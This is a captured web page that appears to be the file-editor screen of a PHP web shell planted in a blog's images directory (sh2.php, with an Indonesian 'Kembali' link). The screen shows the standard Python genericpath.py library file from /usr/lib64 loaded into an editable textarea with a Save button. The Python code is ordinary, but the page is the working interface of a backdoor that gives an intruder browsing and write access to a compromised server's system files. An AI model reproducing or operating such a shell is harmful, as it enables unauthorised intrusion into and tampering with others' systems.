<h2>Edit File - genericpath.py</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/lib64/python3.12/genericpath.py">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&quot;&quot;&quot;
Path operations common to more than one OS
Do not use directly.  The OS specific modules import the appropriate
functions from this module themselves.
&quot;&quot;&quot;
import os
import stat

__all__ = [&#039;commonprefix&#039;, &#039;exists&#039;, &#039;getatime&#039;, &#039;getctime&#039;, &#039;getmtime&#039;,
           &#039;getsize&#039;, &#039;isdir&#039;, &#039;isfile&#039;, &#039;islink&#039;, &#039;samefile&#039;, &#039;sameopenfile&#039;,
           &#039;samestat&#039;, &#039;ALLOW_MISSING&#039;]


# Does a path exist?
# This is false for dangling symbolic links on systems that support them.
def exists(path):
    &quot;&quot;&quot;Test whether a path exists.  Returns False for broken symbolic links&quot;&quot;&quot;
    try:
        os.stat(path)
    except (OSError, ValueError):
        return False
    return True


# This follows symbolic links, so both islink() and isdir() can be true
# for the same path on systems that support symlinks
def isfile(path):
    &quot;&quot;&quot;Test whether a path is a regular file&quot;&quot;&quot;
    try:
        st = os.stat(path)
    except (OSError, ValueError):
        return False
    return stat.S_ISREG(st.st_mode)


# Is a path a directory?
# This follows symbolic links, so both islink() and isdir()
# can be true for the same path on systems that support symlinks
def isdir(s):
    &quot;&quot;&quot;Return true if the pathname refers to an existing directory.&quot;&quot;&quot;
    try:
        st = os.stat(s)
    except (OSError, ValueError):
        return False
    return stat.S_ISDIR(st.st_mode)


# Is a path a symbolic link?
# This will always return false on systems where os.lstat doesn&#039;t exist.

def islink(path):
    &quot;&quot;&quot;Test whether a path is a symbolic link&quot;&quot;&quot;
    try:
        st = os.lstat(path)
    except (OSError, ValueError, AttributeError):
        return False
    return stat.S_ISLNK(st.st_mode)


def getsize(filename):
    &quot;&quot;&quot;Return the size of a file, reported by os.stat().&quot;&quot;&quot;
    return os.stat(filename).st_size


def getmtime(filename):
    &quot;&quot;&quot;Return the last modification time of a file, reported by os.stat().&quot;&quot;&quot;
    return os.stat(filename).st_mtime


def getatime(filename):
    &quot;&quot;&quot;Return the last access time of a file, reported by os.stat().&quot;&quot;&quot;
    return os.stat(filename).st_atime


def getctime(filename):
    &quot;&quot;&quot;Return the metadata change time of a file, reported by os.stat().&quot;&quot;&quot;
    return os.stat(filename).st_ctime


# Return the longest prefix of all list elements.
def commonprefix(m):
    &quot;Given a list of pathnames, returns the longest common leading component&quot;
    if not m: return &#039;&#039;
    # Some people pass in a list of pathname parts to operate in an OS-agnostic
    # fashion; don&#039;t try to translate in that case as that&#039;s an abuse of the
    # API and they are already doing what they need to be OS-agnostic and so
    # they most likely won&#039;t be using an os.PathLike object in the sublists.
    if not isinstance(m[0], (list, tuple)):
        m = tuple(map(os.fspath, m))
    s1 = min(m)
    s2 = max(m)
    for i, c in enumerate(s1):
        if c != s2[i]:
            return s1[:i]
    return s1

# Are two stat buffers (obtained from stat, fstat or lstat)
# describing the same file?
def samestat(s1, s2):
    &quot;&quot;&quot;Test whether two stat buffers reference the same file&quot;&quot;&quot;
    return (s1.st_ino == s2.st_ino and
            s1.st_dev == s2.st_dev)


# Are two filenames really pointing to the same file?
def samefile(f1, f2):
    &quot;&quot;&quot;Test whether two pathnames reference the same actual file or directory

    This is determined by the device number and i-node number and
    raises an exception if an os.stat() call on either pathname fails.
    &quot;&quot;&quot;
    s1 = os.stat(f1)
    s2 = os.stat(f2)
    return samestat(s1, s2)


# Are two open files really referencing the same file?
# (Not necessarily the same file descriptor!)
def sameopenfile(fp1, fp2):
    &quot;&quot;&quot;Test whether two open file objects reference the same file&quot;&quot;&quot;
    s1 = os.fstat(fp1)
    s2 = os.fstat(fp2)
    return samestat(s1, s2)


# Split a path in root and extension.
# The extension is everything starting at the last dot in the last
# pathname component; the root is everything before that.
# It is always true that root + ext == p.

# Generic implementation of splitext, to be parametrized with
# the separators
def _splitext(p, sep, altsep, extsep):
    &quot;&quot;&quot;Split the extension from a pathname.

    Extension is everything from the last dot to the end, ignoring
    leading dots.  Returns &quot;(root, ext)&quot;; ext may be empty.&quot;&quot;&quot;
    # NOTE: This code must work for text and bytes strings.

    sepIndex = p.rfind(sep)
    if altsep:
        altsepIndex = p.rfind(altsep)
        sepIndex = max(sepIndex, altsepIndex)

    dotIndex = p.rfind(extsep)
    if dotIndex &gt; sepIndex:
        # skip all leading dots
        filenameIndex = sepIndex + 1
        while filenameIndex &lt; dotIndex:
            if p[filenameIndex:filenameIndex+1] != extsep:
                return p[:dotIndex], p[dotIndex:]
            filenameIndex += 1

    return p, p[:0]

def _check_arg_types(funcname, *args):
    hasstr = hasbytes = False
    for s in args:
        if isinstance(s, str):
            hasstr = True
        elif isinstance(s, bytes):
            hasbytes = True
        else:
            raise TypeError(f&#039;{funcname}() argument must be str, bytes, or &#039;
                            f&#039;os.PathLike object, not {s.__class__.__name__!r}&#039;) from None
    if hasstr and hasbytes:
        raise TypeError(&quot;Can&#039;t mix strings and bytes in path components&quot;) from None

# A singleton with a true boolean value.
@object.__new__
class ALLOW_MISSING:
    &quot;&quot;&quot;Special value for use in realpath().&quot;&quot;&quot;
    def __repr__(self):
        return &#039;os.path.ALLOW_MISSING&#039;
    def __reduce__(self):
        return self.__class__.__name__
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>